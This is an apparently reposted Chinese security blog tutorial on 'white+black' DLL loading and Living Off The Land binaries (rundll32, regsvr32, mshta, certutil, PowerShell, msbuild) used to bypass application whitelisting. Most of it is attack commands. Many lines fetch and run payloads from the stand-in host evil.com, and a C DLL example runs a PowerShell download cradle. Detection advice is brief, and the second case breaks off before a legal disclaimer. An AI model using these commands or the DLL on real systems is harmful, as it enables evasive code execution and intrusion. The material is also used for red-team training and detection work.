文章总结: 本文详细介绍了白+黑技术与LOLBins的攻击原理,通过利用rundll32.exe、regsvr32.exe等合法系统工具加载恶意DLL或执行恶意命令来规避安全检测。文档列举了常见工具的具体使用方法和实战案例,包括代码示例和攻击流程分析,并提供了相应的检测方法和防御建议。 综合评分: 82 文章分类: 红队,内网渗透,渗透测试,恶意软件,安全工具
白+黑技术与LOLBins——利用合法工具的艺术
原创
pandazhengzheng pandazhengzheng
安全分析与研究
2026年3月27日 08:31 广东
在小说阅读器读本章
去阅读
一、前言概述
白+黑技术和LOLBins利用合法程序和系统工具执行恶意操作,是现代攻击的常用技术。本课将深入介绍这些技术的原理和实现方法。
二、相关内容
2.1 白+黑技术
原理:利用合法的”白”程序(如rundll32.exe、regsvr32.exe)来加载和执行恶意的”黑”DLL,利用白程序的合法性和信誉来规避检测。
常见白程序:
- rundll32.exe
- regsvr32.exe
- mshta.exe
- wscript.exe
- cscript.exe
- msbuild.exe
- installutil.exe
实现方法:
rundll32.exe C:\malicious.dll,EntryPoint
regsvr32.exe /s /n /u /i:http://evil.com/malicious.sct scrobj.dll
mshta.exe http://evil.com/malicious.hta
2.2 LOLBins(Living Off The Land Binaries)
原理:利用系统自带的合法工具执行恶意操作,这些工具是合法的,不易被阻止。
常见LOLBins:
PowerShell:
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/malicious.ps1')
powershell -enc <base64_encoded_command>
WMIC:
wmic process call create "cmd.exe /c malicious_command"
Certutil:
certutil -urlcache -split -f http://evil.com/malicious.exe malicious.exe
certutil -decode malicious.b64 malicious.exe
Mshta:
mshta http://evil.com/malicious.hta
Msbuild:
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Build">
<Exec Command="cmd.exe /c malicious_command" />
</Target>
</Project>
2.3 实战案例分析
2.3.1 案例1:使用rundll32.exe执行恶意DLL
攻击场景:攻击者需要执行恶意DLL,但需要绕过应用程序白名单。
攻击过程:
- 创建恶意DLL
// malicious.dll
#include <windows.h>
// 导出函数供rundll32调用
extern"C" __declspec(dllexport) void EntryPoint(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
// 执行恶意操作
MessageBoxA(NULL, "Malicious code executed!", "rundll32", MB_OK);
// 下载并执行后续载荷
system("powershell -c \"IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')\"");
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
return TRUE;
}
- 使用rundll32执行
# 方法1:直接执行本地DLL
rundll32.exe C:\malicious.dll,EntryPoint
# 方法2:从网络加载DLL(需要SMB共享)
rundll32.exe \\evil.com\share\malicious.dll,EntryPoint
# 方法3:使用JavaScript执行
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -c IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')");
- 验证执行
# 检查rundll32进程
Get-Process rundll32 | Select-Object Id, ProcessName, Path
# 检查命令行参数
Get-WmiObject Win32_Process -Filter "Name='rundll32.exe'" | Select-Object CommandLine
检测结果:
- rundll32.exe成功加载恶意DLL
- 恶意代码在rundll32.exe进程中执行
- EDR可能检测到异常的DLL加载
经验教训:
- rundll32.exe是合法的系统工具
- 需要监控rundll32的命令行参数
- 容易被行为分析检测
2.3.2 案例2:使用regsvr32.exe绕过应用程序白名单
攻击场景:攻击者需要绕过应用程序白名单,执行恶意代码。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全分析与研究 pandazhengzheng pandazhengzheng《白+黑技术与LOLBins——利用合法工具的艺术》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论